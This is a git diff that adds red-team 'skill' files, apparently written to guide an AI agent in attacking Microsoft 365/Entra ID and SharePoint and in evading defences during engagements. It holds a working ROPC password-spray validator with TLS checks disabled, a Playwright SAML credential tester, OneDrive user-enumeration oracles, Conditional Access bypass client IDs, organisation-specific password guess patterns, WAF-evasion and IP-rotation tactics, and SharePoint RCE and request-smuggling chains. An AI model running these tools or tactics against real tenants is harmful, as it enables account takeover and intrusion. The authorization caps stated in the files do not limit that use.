+5. **SP2013 farms past EoL still internet-exposed.** Microsoft extended support ended 2023-04-11. Every post-April-2023 SharePoint CVE is unpatched. Common in enterprise integrator scenarios (<CustomerName>/<ParentCorp>, SI-managed dealer portals).
+
+6. **`<SafeControl>` whitelist in web.config trusted as the only gate.** Picker.aspx enforces an `instanceof PickerDialog` check, which is patched against the original CVE-2019-0604 vector — but the underlying SafeControl model itself is anonymously enumerable via the Picker.aspx error differential.
+
+7. **AWS ELB + SP IIS without explicit Transfer-Encoding normalization.** Default ELB forwards `Transfer-Encoding` to back-end IIS; IIS interprets `Content-Length` when both are present in a way that desyncs from ELB. Multiple TE-obfuscation variants bypass simple WAF rules.
+
+8. **Default Windows-installer hostname (`WIN-XXXXXXXXXXX`) never renamed.** Signal of rushed provisioning; correlates with default service-account passwords on SQL backend, default farm-account passwords on Central Admin, etc.
+
+9. **Custom-branding module (`/_layouts/15/<Customer>/`) JS bundles loaded with `?v=YYYYMMDD` query strings.** The query string reveals last-modified date — useful for "this app is actively maintained" vs "this app is abandoned" determination.
+
+10. **Cross-node ViewState MAC failures when AWS ELB doesn't pin session affinity to one WFE.** Operationally broken (users hit 500s on every POST); security-wise broadcasts farm topology in error messages.
+
+---
+
+## Bypass Techniques
+
+| Defense | Bypass / Recon Strategy |
+|---|---|
+| Branded `customlogin.aspx` with lockout / CAPTCHA / MFA | `/_vti_bin/Authentication.asmx` legacy SOAP — none of those protections apply |
+| `WWW-Authenticate: NTLM` requires authenticated callers | Default IIS `extendedProtection=None` lets you elicit the Type-2 challenge anonymously — see `hunt-ntlm-info` |
+| `MicrosoftSharePointTeamServices` header stripped at ELB | Body of `/_layouts/15/start.aspx` leaks version anyway; also `/_api/contextinfo`'s `LibraryVersion` |
+| `/_vti_bin/lists.asmx` 403 (SharedAccess.asmx / Authentication.asmx still open) | Different services have different ACLs; enumerate all asmx separately |
+| `/_api/web/CurrentUser` 401 with stack-trace JSON | Stack traces leak even on auth-deny responses; combine with version disclosure |
+| Anonymous `__REQUESTDIGEST` issued (ToolShell precondition) | Pair with anonymous ToolPane POST + unencrypted ViewState; chain to RCE via machineKey recovery |
+| Custom error pages set | Trigger different code paths (XML-shaped ViewState → dual-parser error differential — see `hunt-aspnet`) |
+| WAF blocks `<` in query | Move payload to Cookie / Referer / SOAP body — request validator doesn't reach those contexts |
+| `Microsoft.SharePoint.WebPartPages.DataFormWebPart` blocked via SafeControl patch | Enumerate SafeControl list; find a subclass that bypasses the inheritance gate |
+| HTTP/2 H2.CL smuggling | AWS ALBs often don't advertise `h2` ALPN — close that family early via `openssl s_client -alpn h2,http/1.1` |
+| Authenticate.aspx wraps `Source=` in ReturnUrl | Test post-auth behavior with valid creds; pre-auth chain wraps everything safely |
+
+---
+
+## Gate 0 Validation
+
+Before writing the report:
+
+1. **What can the attacker DO right now?**
+ - Authentication.asmx anonymous + no rate limit → **Critical** (unbounded credential validation; password spray + UPN format from NTLM = end-to-end ATO path)
+ - Full ToolShell precondition chain (anon GET + anon FormDigest + anon POST + unencrypted VS) + EoL SP2013 → **Critical** (RCE via well-documented public exploit chain, no patch will ship)
+ - NTLM Type-2 AD topology disclosure + default-Windows hostname → **Medium**
+ - SP2013 EoL alone → **Medium-Low** (compliance / hygiene; bug-bounty programs vary — some accept, many reject)
+ - `download.aspx` URL echo without confirmed Collaborator callback → **NOT SSRF — retract**
+
+2. **Have you reproduced the full chain to attacker-attainable impact?**
+ - For Authentication.asmx: 10-burst test with uniform timing (proves no rate limit) is sufficient. Don't actually crack a credential.
+ - For ToolShell: precondition chain (steps a+b+c) is sufficient. Don't deliver a malicious payload.
+ - For NTLM: AV-pair decode showing AD-topology fields is sufficient.
+
+3. **Can you reproduce in <10 minutes from a clean shell?**
+ - Authentication.asmx: 2 curl commands.
+ - ToolShell precondition: 3 curl commands.
+ - NTLM Type-2: 1 Python snippet (the AV-pair decoder).
+
+---
+
+## Real Impact Examples
+
+### Scenario A — a May-2026 authorized engagement, an enterprise dealer portal test mirror
+
+Target: `https://target-portal.example/` — SharePoint Server 2013 build `15.0.5545.1000` (KB5002381 / final EoL April 2023 CU). Tenant = a system-integrator tenant (Swiss <ParentCorp> importer) inside corporate-parent global AD (`customer.parent-corp.example`). Server hostname `WIN-XXXXXXXXXXX` (default Windows installer pattern).
+
+11 findings shipped: 3 Critical, 2 Medium, 6 Low/Info. The three Criticals:
+
+1. **Authentication.asmx anonymous credential brute-force** — 10-burst test showed uniform 0.6-0.9 s timing with no rate limit, no lockout, no CAPTCHA, no MFA challenge. Identical 431-byte responses.
+2. **HTTP request smuggling TE.CL** — 5/5 trials showed 12.18 s back-end hang vs 0.16 s baseline. 4 additional obfuscation variants (space-before-colon, trailing-space, lowercase, mixed-case) showed 6.16 s hang — each bypassing simple WAF rules.
+3. **ToolShell precondition chain** — anonymous GET ToolPane.aspx (200) + anonymous POST `/_api/contextinfo` (200, valid FormDigest) + anonymous POST ToolPane.aspx with digest (200, no auth challenge) + `__VIEWSTATEENCRYPTED=""`. Permanent zero-day on EoL SP2013.
+
+Plus Medium-tier: NTLM Type-2 disclosure of full AD topology (`customer.parent-corp.example`, `WIN-XXXXXXXXXXX`); SP2013 EoL exposure.
+
+### Scenario B — `/_layouts/15/download.aspx?SourceUrl=` recognized correctly as NOT-SSRF (saved-time example)
+
+Same target. Initial scan flagged `download.aspx?SourceUrl=http://oob.example.com/` as SSRF because the server echoed the URL in the 500 error title (`"The Web application at http://oob.example.com/ could not be found"`). 38 Collaborator-tagged payloads across 12+ URL-accepting SP parameters → zero DNS/HTTP callbacks. Conclusion: `download.aspx` is an SP-internal `SPWebApplication` / `SPFile` resolver, NOT a generic URL fetcher. The "echo" is server-side error-string formatting. Saved from reporting an N/A finding by following the `hunt-ssrf` OOB-Or-It-Didn't-Happen Gate.
+
+### Scenario C — CVE-2019-0604 patch verification via Picker.aspx
+
+Same target. Feeding `Microsoft.SharePoint.WebPartPages.DataFormWebPart` (the canonical CVE-2019-0604 deserialization gadget) to Picker.aspx returned `"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site."` — meaning the type EXISTS and is reachable through reflection, but the dialog framework's `instanceof PickerDialog` patch correctly rejects it. The patch IS in place for the original CVE-2019-0604 vector. The class-existence enumeration itself becomes recon for any future CVE-2019-0604-family chain that doesn't go through the inheritance gate.
+
+---
+
+## Cross-references
+
+- **Authentication.asmx legacy SOAP login** → see `hunt-auth-bypass` Legacy-Protocol Matrix for the WordPress-XMLRPC equivalent pattern.
+- **NTLM Type-2 AD-topology disclosure** → see `hunt-ntlm-info` for AV-pair decoder + severity rubric.
+- **ViewState dual-parser anti-pattern, machineKey recovery, request validator bypass** → see `hunt-aspnet`.
+- **HTTP request smuggling on AWS ELB + IIS** → see `hunt-http-smuggling`.
+- **OOB confirmation of any SSRF claim on SP** → see `hunt-ssrf` OOB-Or-It-Didn't-Happen Gate.
+- **Engagement-type confirmation before treating hygiene findings as bug-bounty submissions** → see `bb-methodology` PART 0 Mode-Confirmation Gate.
diff --git a/skills/m365-entra-attack/SKILL.md b/skills/m365-entra-attack/SKILL.md
new file mode 100644
index 0000000..28b2c3e
--- /dev/null
+++ b/skills/m365-entra-attack/SKILL.md
@@ -0,0 +1,334 @@
+---
+name: m365-entra-attack
+description: Microsoft 365 / Entra ID red-team attack chain — current 2026 reality. AADSTS code reference, user enumeration vectors (with hardening status), Smart Lockout math, Conditional Access bypass options, ROPC + SAML SSO browser flow, Burp/Playwright templates. Built from a paid external red-team engagement against an a large enterprise (redacted-client, May 2026) where 1,996 ROPC attempts surfaced 247 pre-existing lockouts, 1 valid CA-blocked credential, and confirmed real-time external attacker activity. Use for any M365/Entra credential attack, password spray, user enumeration, CA-bypass exploration, or active-attacker-detection scenario.
+sources: redacted-client-redteam-2026, microsoft-docs, AADInternals
+report_count: 1
+---
+
+## When to use this skill
+
+Trigger when:
+- Target uses M365 / Entra ID (autodiscover.* records, login.microsoftonline.com redirects, "Microsoft Office 365" in tech-stack notes)
+- You have a list of corporate emails or stealer-leaked creds
+- Engagement involves "credential spray", "password spray", "Entra attack", "ATO via M365"
+- You see `*.onmicrosoft.com`, `*-my.sharepoint.com`, `enterpriseregistration.*`, `enterpriseenrollment.*` in recon
+- Client mentions "Conditional Access", "MFA bypass", "compliant device"
+
+DO NOT use for:
+- On-prem-only Active Directory (use a separate AD-attack skill)
+- Service-to-service token attacks (different threat model)
+- Phishing-required attack chains (covered by phishing skills) — but you can prep for the credential-validation step here
+
+---
+
+## Tenant discovery (msftrecon)
+
+```bash
+# For each owned domain
+msftrecon -d redacted-client.com
+msftrecon -d redacted-clientltd.com
+msftrecon -d redacted-brand2school.com
+```
+
+Key fields in output:
+- **Tenant ID** (different domains may share OR have separate tenants — always test all owned domains)
+- **Federation Information.Namespace Type** = `Managed` (cloud-only, ROPC works) | `Federated` (ADFS, different attack)
+- **SharePoint Detected** (Yes = OneDrive enum vector available)
+- **Communication Services Teams/Skype** (post-auth lateral targets)
+- **Admin Consent Endpoint accessible** (consent-phishing surface)
+
+**Red flag:** if the org has multiple Entra tenants for sister domains, each is a separate attack surface with its own user list, lockout policy, and CA configuration. Don't assume one spray covers all.
+
+---
+
+## AADSTS code reference (memorize)
+
+| AADSTS | Meaning | Lockout impact | What to do |
+|---|---|---|---|
+| 50034 | User does not exist | None | Skip; remove from spray list |
+| 50126 | Invalid username/password | +1 attempt counter | User exists — try alternate password later (within cap) |
+| 50053 | Account locked (Smart Lockout) | None (already locked) | Pre-existing → flag to SOC; don't retry |
+| 53003 | CA blocked token issuance | +1 attempt counter | **PASSWORD VALID** — STOP, password is correct |
+| 50076 | MFA required | +1 attempt counter | **PASSWORD VALID** — second factor needed |
+| 50079 | Strong auth required | +1 attempt counter | **PASSWORD VALID** — same as 50076 |
+| 50158 | External auth required | +1 attempt counter | **PASSWORD VALID** — federated MFA |
+| 530003 | Device-state required | +1 attempt counter | **PASSWORD VALID** — needs compliant device |
+| 65001 | Consent required | +1 attempt counter | App-consent issue, not auth |
+| 700016 | App not in tenant | None | User in different tenant — adjust target |
+| 90002 | Tenant does not exist | None | Tenant typo / dead tenant |
+
+**Critical insight:** any code in {53003, 50076, 50079, 50158, 530003} means **the password is correct** — Microsoft only returns these AFTER successful credential validation. Document as a confirmed-valid finding even if you can't get a token.
+
+---
+
+## Smart Lockout math (the cap discipline)
+
+**Microsoft default policy:**
+- 10 failed sign-ins in 10 minutes → 1-minute lockout
+- 20 failed sign-ins → progressively longer lockouts (exponential backoff)
+- Counter shared across **ALL auth flows** (ROPC + SAML + IMAP + EWS + SMTP + device-code)
+
+**Engagement discipline:**
+- Hard cap: ≤2 password attempts per user **lifetime per engagement** (some engagements: 1)
+- State file with atomic writes — never let two test runs race the counter
+- Kill switch: stop run if more than N LOCKED responses observed (suggests pre-existing attacker activity OR you miscounted; either way pause)
+
+**Mathematical guarantee:** with 1 attempt per user, **you cannot cause Smart Lockout** (1 < 10). Any AADSTS50053 you see is therefore pre-existing → use this for active-attacker detection (see `mid-engagement-ir-detection` skill).
+
+---
+
+## User enumeration — vectors + hardening status (May 2026)
+
+### ❌ HARDENED (no longer differential)
+
+```http
+GET /getuserrealm.srf?login=<email>&xml=1
+```
+Returns identical XML for any email matching tenant's owned domain. **Tenant-level only, not user-level.**
+
+```http
+POST /common/GetCredentialType
+{"username":"<email>", "isOtherIdpSupported":true, ...}
+```
+Returns `AADSTS1659001` (missing flowToken) without proper session — can't enumerate.
+
+```http
+GET /autodiscover/autodiscover.json/v1.0/<email>?Protocol=AutodiscoverV1
+```
+Returns identical 200 + same JSON body for any address. Hardened ~2024.
+
+### ✅ STILL WORKS (May 2026 — track shelf life)
+
+**OneDrive personal-site differential:**
+```http
+GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx HTTP/1.1
+Host: <tenant>-my.sharepoint.com
+```
+- **302 → user EXISTS** (auth-required redirect to Authenticate.aspx)
+- **404 → user does NOT exist** (404 FILE NOT FOUND)
+- ZERO authentication attempt → ZERO lockout impact
+- Bonus: `Sprequestduration` header faster (~40ms) for existing users vs ~600ms for non-existent — secondary timing oracle
+
+**Caveats:**
+- Only works if SharePoint is provisioned for the tenant (check msftrecon `SharePoint Detected: Yes`)
+- Microsoft is hardening these endpoints over time — re-verify before relying on it
+- Some users may exist in Entra without OneDrive provisioning (license-dependent) — false negatives possible
+
+**ROPC AADSTS50034 / AADSTS50126 differential:**
+- AADSTS50034 (user not exist) does NOT increment Smart Lockout counter
+- AADSTS50126 (wrong password) DOES increment
+- So a 1-attempt-per-user spray can be used as a coarse user-existence enumerator (each AADSTS50034 = miss, each AADSTS50126 = hit + 1 attempt burned)
+
+---
+
+## Conditional Access bypass options (most blocked, document anyway)
+
+| Vector | Status (2026) | Notes |
+|---|---|---|
+| Different ROPC client_id (Microsoft Graph PowerShell vs Azure CLI vs Office) | Sometimes works | CA can be per-app; try `1b730954-1685-4b74-9bfd-dac224a7b894` (Graph PS), `04b07795-8ddb-461a-bbee-02f9e1bf7b46` (Azure CLI), `d3590ed6-52b3-4102-aeff-aad2292ab01c` (Office) |
+| Different resource (graph.microsoft.com / outlook.office.com / management.azure.com) | Sometimes works | CA scope can be per-resource |
+| EWS / IMAP / POP3 / SMTP Basic Auth | Mostly disabled | MS deprecated Basic Auth Oct 2022; per-account exceptions exist |
+| FOCI (Family of Client IDs) | Token-refresh path | Use a refresh token from one FOCI client to mint tokens for another |
+| Device-code phishing | Works | Requires user-side interaction (OOS for many engagements) |
+| Compliant-device emulation | Hard | Requires Intune device registration — high effort, often impossible without insider |
+| AiTM session-cookie steal | Works (with phishing) | Modern primary technique — out of scope for non-phishing engagements |
+| FOCI + Family Refresh Token Theft | Post-auth | Requires already having a token |
+| SAML SSO via different SP | Sometimes | Each enterprise app has its own CA policy; an app with weaker CA = pivot |
+| Geo-bypass via VPN | Sometimes | If "trusted location" CA policy includes corp HQ IPs, use a VPN exit there |
+
+**Key insight from this engagement:** in a tenant with universal CA policy (compliant device + MFA), all the above paths return AADSTS53003 with the same flow. The cred is valid, but unusable from external. **Phishing-completed cookie steal is the only realistic adversary path.** Document this clearly so the client understands the threat model.
+
+---
+
+## ROPC password validation (the canonical test)
+
+**Single-attempt validator pattern (Python):**
+
+```python
+import urllib.request, urllib.parse, ssl, time, json, os
+ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
+ATTEMPT_FILE = "engagement_log/o365_attempts.json"
+HARD_CAP = 1 # or 2 — never higher
+
+def attempt(email, password):
+ state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {}
+ if state.get(email.lower(), 0) >= HARD_CAP:
+ return {"status": "SKIPPED_CAP"}
+ body = urllib.parse.urlencode({
+ "resource": "https://graph.windows.net",
+ "client_id": "1b730954-1685-4b74-9bfd-dac224a7b894", # Microsoft Graph PowerShell
+ "client_info": "1",
+ "grant_type": "password",
+ "username": email,
+ "password": password,
+ "scope": "openid",
+ }).encode()
+ state[email.lower()] = state.get(email.lower(), 0) + 1
+ json.dump(state, open(ATTEMPT_FILE+".tmp", "w"))
+ os.replace(ATTEMPT_FILE+".tmp", ATTEMPT_FILE) # atomic
+ req = urllib.request.Request(
+ "https://login.microsoftonline.com/common/oauth2/token",
+ data=body, method="POST",
+ )
+ req.add_header("Content-Type", "application/x-www-form-urlencoded")
+ try:
+ r = urllib.request.urlopen(req, context=ctx, timeout=15)
+ return {"status": "VALID", "body": json.loads(r.read())}
+ except urllib.error.HTTPError as e:
+ msg = e.read().decode(errors="ignore")
+ for code, status in [
+ ("AADSTS50034", "INVALID_USER"),
+ ("AADSTS50126", "INVALID_PW"),
+ ("AADSTS50053", "LOCKED"),
+ ("AADSTS53003", "VALID_CA_BLOCK"),
+ ("AADSTS50076", "VALID_MFA"),
+ ("AADSTS50079", "VALID_MFA"),
+ ]:
+ if code in msg:
+ return {"status": status, "code": code}
+ return {"status": "OTHER", "msg": msg[:200]}
+```
+
+**Pace:**
+- Per-IP: ≤30 req/sec is fine; Microsoft tolerates well
+- Per-user: hard cap from state file is the only thing that matters
+- Random jitter (1-5s between attempts) for less-machine-like signature
+
+---
+
+## SAML SSO browser flow (for definitive cred validation when CA blocks ROPC)
+
+When ROPC returns AADSTS53003, you've proven the password. To prove it across BOTH auth paths (and capture Microsoft's CA-block page as evidence), walk SAML SSO via Playwright:
+
+```python
+import asyncio
+from playwright.async_api import async_playwright
+
+async def saml_validate(target_sp_url, username, password, screenshot_dir):
+ async with async_playwright() as p:
+ browser = await p.chromium.launch(headless=True, args=["--ignore-certificate-errors"])
+ context = await browser.new_context(ignore_https_errors=True)
+ page = await context.new_page()
+ # Step 1: navigate to SP
+ await page.goto(target_sp_url, wait_until="networkidle", timeout=30000)
+ # Step 2: click sign-in (selectors vary per SP)
+ for sel in ["button:has-text('Sign in')", "a:has-text('Login')", "button:has-text('Azure')"]:
+ try:
+ await page.locator(sel).first.click(timeout=3000)
+ break
+ except: continue
+ await page.wait_for_load_state("networkidle", timeout=20000)
+ # Step 3: submit username at Microsoft
+ await page.locator('input[name="loginfmt"], input[type="email"]').first.fill(username)
+ await page.locator('input[type="submit"], #idSIButton9').first.click()
+ await page.wait_for_load_state("networkidle", timeout=20000)
+ # Step 4: submit password
+ await page.locator('input[name="passwd"], input[type="password"]').first.fill(password)
+ await page.locator('input[type="submit"], #idSIButton9').first.click()
+ await page.wait_for_load_state("networkidle", timeout=30000)
+ # Step 5: capture
+ await page.screenshot(path=f"{screenshot_dir}/saml_final.png", full_page=True)
+ content = await page.content()
+ cookies = await context.cookies()
+ await browser.close()
+ # Check outcome
+ low = content.lower()
+ if "convergedconditionalaccess" in low or "53003" in low:
+ return "CA_BLOCKED" # cred valid, CA wall
+ elif "verify your identity" in low or "approve sign in" in low:
+ return "MFA_REQUIRED" # cred valid, MFA wall
+ elif "we couldn't sign you in" in low or "wrong" in low:
+ return "INVALID"
+ elif "infrawatch" in low or "dashboard" in low:
+ return "FULL_SUCCESS" # session obtained
+ return "UNCLEAR"
+```
+
+Microsoft's `ConvergedConditionalAccess` page (PageID in source) is the definitive evidence of CA-block.
+
+---
+
+## Active-attacker detection via lockout differential
+
+If you see `AADSTS50053` (LOCKED) on multiple users despite your 1-attempt-per-user cap:
+1. **You did not cause these locks** (math: 1 < 10).
+2. **An external attacker is actively spraying the tenant.**
+3. **Cluster the locked users alphabetically — if they cluster, attacker is using a sorted username list.**
+4. **Diff lockout count between spray-start and spray-end** — new locks during your session = attacker is active *right now*.
+5. **Document the locked email list as a finding** (SOC actionable — they pull sign-in logs for those users).
+
+This is the **highest-impact byproduct** of any M365 spray engagement. Always track and report.
+
+---
+
+## Common password patterns to spray (Indian-conglomerate-specific)
+
+- `<BrandName>@<Year>` — `redacted-client@2026`, `redacted-brand2@2026`, `Tata@2026`
+- `<BrandName>@123` — `redacted-client@123` (very common)
+- `<PlantCity>@<Year>` — `Hirakud@2026`, `Beawar@2026` (cement plant cities)
+- `<EmployeeID-as-password>` — common in legacy apps (PAN number, employee code, phone last4)
+- `Password@<year>`, `Welcome@<year>`, `Admin@<year>` — generic defaults
+- `<BrandName>@<Y2-digits>` — `redacted-client@26`
+
+**Engagement caveat:** when client provides leaked-cred dumps (stealer logs), use those FIRST. Each leaked cred is 1 cap-attempt against the strongest known guess for that user.
+
+---
+
+## Engagement journaling (mandatory)
+
+Every M365 attempt logs to JSONL:
+```json
+{"ts":"2026-05-08T14:40:53","email":"[email protected]","pw_first4":"Shre","status":"VALID_CA_BLOCK","code":"AADSTS53003","attempts_used":1}
+```
+
+**Per-user tracker** (atomic):
+```json
+```
+
+**IP rotation log** (per-day):
+```
+2026-05-08 49.36.184.19 Reliance Jio Delhi Sachin (Lucideus) Round 2 spray
+```
+
+These three artifacts are deliverable evidence for the report. They survive into the next engagement as state.
+
+---
+
+## Real-world findings template (from redacted-client engagement)
+
+For the report:
+
+**Finding: 261 Entra accounts in pre-existing lockout state**
+- Subject: Active external password-spray campaign detected
+- Evidence: `o365_results.jsonl` filtered to `status=LOCKED`
+- Math: 1-attempt-per-user × 261 LOCKED ≠ our doing
+- SOC action: pull sign-in logs for these 261 accounts over last 30-60 days
+
+**Finding: Valid M365 cred — `<user>:<password>` (CA-blocked)**
+- Subject: Confirmed valid credential
+- Evidence: ROPC AADSTS53003 + SAML SSO `ConvergedConditionalAccess` page screenshot
+- Microsoft documentation excerpt: "AADSTS53003 returned only after password validation"
+- Recommendation: force password reset, audit org-wide for similar pattern
+
+---
+
+## Anti-patterns (don't do these)
+
+- **DON'T use the leaked cred for the user across multiple resources** — burns the cap with no marginal benefit when CA blocks all paths
+- **DON'T retry after AADSTS50053** — account is locked, you'll just see lockout again
+- **DON'T spray more than ~30 attempts/sec to login.microsoftonline.com** — Microsoft can flag the IP for sustained credential-stuffing pattern
+- **DON'T forget to test ALL Entra tenants** — sister domains often have separate tenants with different password policies
+- **DON'T retract a CA-block finding** — AADSTS53003 means the password is correct; that's the whole point
+
+---
+
+## Tooling
+
+```bash
+pip install --break-system-packages msftrecon o365spray # may need to clone msftrecon from GitHub
+brew install pandoc # for report generation
+go install -v github.com/projectdiscovery/... # PD toolkit for general recon
+```
+
+Pre-built `m365_validator.py` template at engagement working directory `engagement_log/m365_validator.py`. Adapt the `attempt()` function to your engagement.
diff --git a/skills/mid-engagement-ir-detection/SKILL.md b/skills/mid-engagement-ir-detection/SKILL.md
new file mode 100644
index 0000000..2952695
--- /dev/null
+++ b/skills/mid-engagement-ir-detection/SKILL.md
@@ -0,0 +1,341 @@
+---
+name: mid-engagement-ir-detection
+description: Methodology for detecting client SOC patches, attacker activity, and security-state changes that occur DURING a red-team engagement — and converting those observations into deliverable findings. Built from a paid external red-team engagement (redacted-client, May 2026) where the client patched a confirmed SQLi within 30 minutes of detection AND an external attacker locked 14 NEW accounts during a single test session. Use when (a) running ANY active engagement against a monitored target, (b) a previously-confirmed finding stops reproducing, (c) baseline timing shifts unexpectedly, or (d) you notice response patterns changing during testing.
+sources: redacted-client-redteam-2026
+report_count: 1
+---
+
+## When to use this skill
+
+Trigger when:
+- Running active testing against a target with active SOC monitoring
+- A confirmed-vulnerable finding stops reproducing on recheck
+- Baseline timing shifts unexpectedly (3× slower, sudden errors, new headers)
+- Response sizes change between test windows
+- New WAF cookies or headers appear that weren't there at session start
+- Lockout / error rates change between test windows (especially LOCKED count for credential attacks)
+- Engagement is "assume breach" or "white box" — client knows you're testing
+
+DO NOT use for:
+- Bug bounty (client doesn't know you're there; no real-time IR)
+- Pure recon (no state-change happening)
+- One-off vulnerability scanning (no temporal dimension)
+
+---
+
+## The core insight
+
+In a real red-team engagement against a competent SOC, the security state of the target is **not static**. It changes during your test in response to your traffic. These state changes are:
+
+1. **Themselves valuable findings** (positive operational observations about IR responsiveness)
+2. **Confirmation evidence** (mid-engagement patch = the original vulnerability was real)
+3. **Classification signals** (WAF rule deployment vs code fix — different remediation depth)
+
+Anti-pattern: treating reproduction failure as evidence the original signal was a false positive. **Original PoC artifacts captured before the change are still the vulnerability finding.**
+
+---
+
+## The discipline — capture before, diff after
+
+### Before any active test:
+
+```python
+# Capture pre-test fingerprint of the target
+fingerprint = {
+ "ts_pre": time.time(),
+ "ip_seen": "49.36.184.19",
+ "baseline_response_time_ms": <measure>,
+ "baseline_response_size_bytes": <measure>,
+ "response_headers": <capture set>,
+ "waf_cookies": <list>,
+ "lockout_count_in_state": <count from o365_attempts.json>,
+}
+```
+
+Persist to `engagement_log/fingerprint_pre.json`.
+
+### During the test:
+
+Log every test result with full context (timestamp, IP, payload, response code, response size, response time, headers if relevant) to JSONL append-only.
+
+### After the test session OR on first failed-recheck:
+
+```python
+fingerprint_post = same structure
+delta = {
+ "baseline_time_change_ms": post.time - pre.time,
+ "baseline_size_change_bytes": post.size - pre.size,
+ "new_headers_appeared": post.headers - pre.headers,
+ "new_waf_cookies": post.cookies - pre.cookies,
+ "new_lockouts": post.locked_count - pre.locked_count,
+}
+```
+
+If any delta is significant — **investigate, don't retract**.
+
+---
+
+## The three primary IR observations
+
+### Observation 1 — Mid-engagement WAF rule deployment
+
+**Symptoms:**
+- Original payloads return identical response → no signal at all on recheck
+- Body size identical to baseline (login page reflection)
+- Timing reverts to baseline regardless of payload
+- New cookie or header in responses (e.g., `cf-bm`, `__cf_bm`, `awselb`)
+- Specific keyword in URL/body now triggers different response code (403, 406, 429)
+
+**Confirmation:** retry with WAF-evasion variants:
+- URL-encode the payload differently (`%27` vs `%5cu0027`)
+- Change request method (POST → PUT, GET → POST)
+- Different content-type (form-urlencoded → multipart)
+- Slower pace (5s → 60s between requests)
+- Mixed-case keywords (`SLEEP` → `SlEeP`)
+
+If WAF-evasion variants restore the signal, the mitigation is at the WAF layer (bypassable).
+
+If even WAF-evasion variants stay blocked, the mitigation is likely in code.
+
+**Finding template:**
+```
+Subject: Mid-engagement mitigation deployed for <vulnerability X>
+Observation: At engagement timestamp T0, vulnerability <X> on <endpoint> was
+confirmed via <PoC>. At T0+<minutes>, recheck via the original payload no longer
+reproduces the timing/error/size differential. <WAF-evasion variant> [does/does
+not] restore the signal.
+
+Description: This pattern is consistent with the client SOC observing engagement
+traffic and deploying a mitigation in real time. Mitigation depth assessment:
+[at-WAF, bypassable] vs [in-code, durable].
+
+Impact (positive): Client SOC has both detection-grade visibility into application
+traffic AND the authority to deploy mitigations within ~<minutes> of detection.
+
+Impact (caveat): The original vulnerability did exist and was exploitable for at
+least the engagement window before mitigation. If the mitigation is at the WAF
+layer only, the underlying code-level flaw remains exploitable via alternative
+payloads.
+
+Recommendation:
+1. Verify the mitigation is in code (parameterized queries, input sanitization),
+ not just at the WAF layer.
+2. Audit the codebase for the same root cause across sister applications.
+3. (Positive) Document the IR responsiveness as a capability metric.
+```
+
+### Observation 2 — Active concurrent attacker
+
+**Symptoms:**
+- Many `AADSTS50053` (LOCKED) responses despite your 1-attempt-per-user discipline
+- Lockouts cluster alphabetically or by some other sort key
+- New lockouts appear DURING your engagement (diff before/after)
+- LOCKED rate exceeds expected baseline (in our engagement: 11% of all attempts → red flag)
+
+**Math check:**
+- Your discipline: 1 attempt per user lifetime
+- Smart Lockout default: 10 fails / 10 min
+- Therefore: you cannot mathematically cause Smart Lockout
+- Therefore: every AADSTS50053 you see was caused by someone else
+
+**Confirmation:**
+- Sort locked accounts alphabetically; if they cluster, attacker is using sorted username list
+- Compare pre-session lockout count vs post-session — new locks during your session = attacker is active *right now*
+- Probe a known-active "system" account (`noreply@`, `info@`, `oc@`) — if it's locked, attacker is hitting service mailboxes too (typically MFA-exempt → high-value to attackers)
+
+**Finding template:**
+```
+Subject: Active external password-spray campaign detected during engagement
+
+Observation: During M365 ROPC validation against the <tenant> Entra tenant, <N>
+unique principals returned AADSTS50053 (Smart Lockout) when probed with a single
+password attempt at safe pace. With our hard cap of 1 attempt per user, we cannot
+mathematically cause these lockouts. The locks are pre-existing and continue to
+accumulate during our engagement window — <K> NEW locks observed between
+<timestamp_start> and <timestamp_end>.
+
+Description: The pattern (alphabetical clustering, real-time accumulation,
+including system mailboxes) is consistent with an external attacker performing
+a username-list-driven password spray attack against the tenant.
+
+Impact: An external adversary is actively attempting to compromise corporate
+M365 accounts. The attacker has knowledge of the user-email schema and a
+password-guess wordlist. <List of locked accounts is now in attacker's hands>
+(Smart Lockout differentiates valid from invalid usernames).
+
+Recommendation (CRITICAL — within 24h):
+1. Open a P1 incident with the SOC. Pull Entra sign-in logs for the <N> locked
+ accounts over the last 30-60 days. Identify source IPs and time windows.
+2. Apply Conditional Access rule blocking sign-ins from outside <expected geo>
+ for non-admin accounts.
+3. Enable Identity Protection's User Risk policy with auto-reset on high risk.
+4. Force tenant-wide password reset for all <N> previously-locked accounts.
+5. Audit service accounts for MFA exemptions; ensure all human-interactive
+ accounts have phishing-resistant MFA.
+
+Evidence: engagement_log/poc/m365/locked_accounts.txt (<N> entries with timestamps)
+```
+
+### Observation 3 — Detection-induced rate limiting / IP blocks
+
+**Symptoms:**
+- Specific IP starts returning 403 / 429 / 451 after a window of normal responses
+- Specific IP starts seeing dramatically slower responses (3x+ baseline)
+- TLS handshake fails or RST mid-connection
+- DNS suddenly returns NXDOMAIN for hosts that resolved before
+- Some hosts work from one IP but not another
+
+**Confirmation:**
+- Rotate to a different IP and retry — if works, you got rate-limited/blocked
+- Compare TTL on DNS responses — sudden short TTL = active mitigation deployed
+- Check `Server:`, `Via:`, `CF-Cache-Status:` headers for CDN-introduced limits
+
+**Finding template (operational note, usually low/info severity):**
+```
+Subject: Engagement traffic detected — IP <X> rate-limited at <timestamp>
+
+Observation: After ~<N> requests in <window> from IP <X>, target <hostname>
+began returning <code> for all subsequent requests. Rotation to IP <Y>
+restored normal responses.
+
+Description: Active anti-automation control at the perimeter (CDN/WAF/origin).
+
+Impact (positive): Volumetric anti-automation is functional.
+
+Impact (caveat): Rotation defeats this control trivially (cloud VMs cost <$5).
+A patient adversary or spray-from-residential-proxies attacker is not affected.
+```
+
+---
+
+## State diff — the key technique
+
+Maintain three pieces of state:
+
+### 1. `engagement_log/baseline.json` — captured at session start
+
+```json
+{
+ "ts": "2026-05-08T13:00:00",
+ "source_ip": "49.36.184.19",
+ "targets": {
+ "https://target.example.com/login": {
+ "baseline_response_time_ms": 584,
+ "baseline_response_size_bytes": 11966,
+ "headers_seen": ["Server: Apache", "X-Powered-By: PHP/8.0.26"],
+ "set_cookie_names": ["PHPSESSID"]
+ }
+ },
+ "m365": {
+ "lockout_count": 247,
+ "valid_creds_count": 0
+ }
+}
+```
+
+### 2. `engagement_log/journal.jsonl` — append-only test log
+
+Every test logs:
+```jsonl
